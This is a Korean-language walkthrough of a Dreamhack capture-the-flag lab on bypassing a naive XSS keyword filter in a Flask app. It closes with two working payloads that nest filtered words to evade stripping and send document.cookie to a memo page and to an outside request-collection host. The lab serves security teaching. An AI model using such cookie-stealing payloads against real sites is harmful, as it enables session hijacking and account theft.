[Dreamhack] STAGE2. XSS Filtering Bypass 함께실습
- xss filtering bypass
Web Hacking [함께실습] xss filtering bypass
웹 서비스 분석
엔드포인트 : /vuln
이용자가 전달한 param 파라미터 값 출력
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
xss_filter : XSS 취약점을 막으려는 시도 / script, on, javascript 필터링
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
엔드포인트 : /memo
이용자가 전달한 memo 파라미터 값을 render_template 함수를 통해 기록 / 출력
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
엔드포인트 : /flag
1) GET : 이용자에게 URL을 입력받는 페이지 제공 2) POST : param에 값과 쿠키에 flag를 포함하여 check_xss 함수 호출
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
취약점 분석 / 익스플로잇
취약점 분석
vuln , memo 엔드포인트는 이용자의 입력값을 페이지에 그대로 출력하며, memo는 render_template 을 통해 memo.html을 출력한다. render_template 함수는 전달된 템플릿 변수를 기록할 때 HTML 엔티티코드로 변환해 저장하기에, XSS 취약점이 발생하지 않는다. 그러나, vuln은 이용자가 입력한 값을 페이지에 그대로 출력하기에 XSS 취약점이 발생할 수 있다.
filter_xss 함수를 통해 script, on, javascript 총 세 개의 키워드를 필터링하나, 키워드를 한 번만 제거하기에, 쉽게 우회 가능하다
익스플로잇
location.href : 전체 URL을 반환하거나, URL을 업데이트할 수 있는 속성 document.cookie : 해당 패이지에서 사용하는 쿠키를 읽고, 쓰는 속성
<scronipt>document.locatioonn.href = "/memo?memo=" + document.cookie;</scronipt>
<scronipt>document['locatio'+'n'].href = "http://kyjwjya.request.dreamhack.games/?memo=" + document.cookie;</scronipt>